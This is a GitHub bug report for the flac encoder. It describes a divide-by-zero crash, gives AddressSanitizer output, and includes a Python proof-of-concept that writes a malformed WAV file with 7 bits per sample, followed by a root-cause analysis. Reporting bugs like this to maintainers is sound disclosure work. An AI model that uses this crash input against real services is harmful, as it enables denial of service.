Skip to content

[BUG] Memory error in flac #873

@ShangzhiXu

Description

@ShangzhiXu

Hi team, thanks for your great work and happy new year~

I think here;s a small memory error in flac, let me explain it

PoC

We can run the follwoing cmd

sigfpe.wav

./src/flac/flac sigfpe.wav
to trigger the crash

z5500277@katana3:~/flac $ ./src/flac/flac sigfpe.wav

flac git-afb801b2 20260122
Copyright (C) 2000-2009  Josh Coalson, 2011-2025  Xiph.Org Foundation
flac comes with ABSOLUTELY NO WARRANTY.  This is free software, and you are
welcome to redistribute it under certain conditions.  Type `flac' for details.

WARNING: RIFF chunk size of file sigfpe.wav does not agree with filesize
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1960112==ERROR: AddressSanitizer: FPE on unknown address 0x55749cfb9ad8 (pc 0x55749cfb9ad8 bp 0x7ffd31e79420 sp 0x7ffd31e79140 T0)
    #0 0x55749cfb9ad8 in flac__encode_file /home/z5500277/flac/src/flac/encode.c:967:65
    #1 0x55749cfd4766 in encode_file /home/z5500277/flac/src/flac/main.c:1763:12
    #2 0x55749cfd15bb in do_it /home/z5500277/flac/src/flac/main.c:570:8
    #3 0x55749cfd15bb in main /home/z5500277/flac/src/flac/main.c:382:13
    #4 0x7f84aa78e864 in __libc_start_main (/lib64/libc.so.6+0x3a864) (BuildId: 1faac7cdefc71ce73027e33a84650684eecd1635)
    #5 0x55749ced11dd in _start (/home/z5500277/flac/src/flac/flac+0x391dd)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /home/z5500277/flac/src/flac/encode.c:967:65 in flac__encode_file
==1960112==ABORTING

The PoC can be generated with

import struct

def create_sigfpe_poc(filename):
    with open(filename, 'wb') as f:
        # RIFF Header
        f.write(b'RIFF')
        f.write(struct.pack('<I', 36 + 40 + 8)) # File size
        f.write(b'WAVE')

        # fmt chunk (WAVE_FORMAT_EXTENSIBLE)
        f.write(b'fmt ')
        f.write(struct.pack('<I', 40)) # Chunk size
        f.write(struct.pack('<H', 65534)) # wFormatTag
        f.write(struct.pack('<H', 1)) # channels
        f.write(struct.pack('<I', 44100)) # sample_rate
        f.write(struct.pack('<I', 44100)) # byte_rate
        f.write(struct.pack('<H', 1)) # block_align
        f.write(struct.pack('<H', 7)) # bps = 7
        
        # EXTENSIBLE extra data
        f.write(struct.pack('<H', 22)) # cbSize
        f.write(struct.pack('<H', 7)) # wValidBitsPerSample = 7
        f.write(struct.pack('<I', 0)) # dwChannelMask
        f.write(b'\x01\x00\x00\x00\x00\x00\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71') # SubFormat PCM

        # data chunk
        f.write(b'data')
        f.write(struct.pack('<I', 8)) # Data size
        f.write(b'\x00' * 8)

if __name__ == "__main__":
    create_sigfpe_poc("sigfpe.wav")

Root Cause

As in function get_sample_info_wave(), it read directly from user input
and calculate with the following code

e->info.bytes_per_wide_sample = channels * (bps / 8);
// channels  = 1, bps = 7

As 7/8 = 0 in C, it leads to e->info.bytes_per_wide_sample = 0
It lead to the FPE in function flac__encode_file

total_samples_in_input = encoder_session.fmt.iff.data_bytes / encoder_session.info.bytes_per_wide_sample;

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions